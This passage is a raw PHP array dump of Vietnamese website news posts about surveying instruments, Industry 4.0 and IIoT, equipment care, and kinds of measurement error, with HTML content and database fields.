<br />
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br />
<br />
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br />
<br />
<p style="margin: 10px 0px; padding: 0px;">
</p>
',
'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg',
'images_multi' => null,
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-06-10',
'modified' => '2025-08-19',
'status' => '1',
'view' => '89620',
'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '943',
'rght' => '944',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 1 => array(
'Post' => array(
'id' => '538',
'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?',
'code' => null,
'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>',
'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;">
</h1>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
</p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p>
<ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1>
</li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p>
<ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p>
<ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p>
<ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
</p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p>
<ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p>
<ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p>
<ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p>
<ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<li style="box-sizing: border-box;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li>
</ol>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p>
',
'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-05-20',
'modified' => '2025-08-19',
'status' => '1',
'view' => '63417',
'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '941',
'rght' => '942',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 2 => array(
'Post' => array(
'id' => '537',
'name' => 'Cách bảo quản thiết bị trắc địa đúng cách',
'code' => null,
'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>',
'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br />
- Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br />
- Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br />
- Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br />
Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br />
- Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br />
- Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br />
- Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br />
- Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br />
- Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br />
- Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br />
- Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br />
- Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br />
<br />
Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br />
</span></span>',
'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2019-05-03',
'modified' => '2025-08-18',
'status' => '1',
'view' => '75066',
'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '939',
'rght' => '940',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 3 => array(
'Post' => array(
'id' => '536',
'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo',
'code' => null,
'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div>
<p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
</p>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div>
<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div>
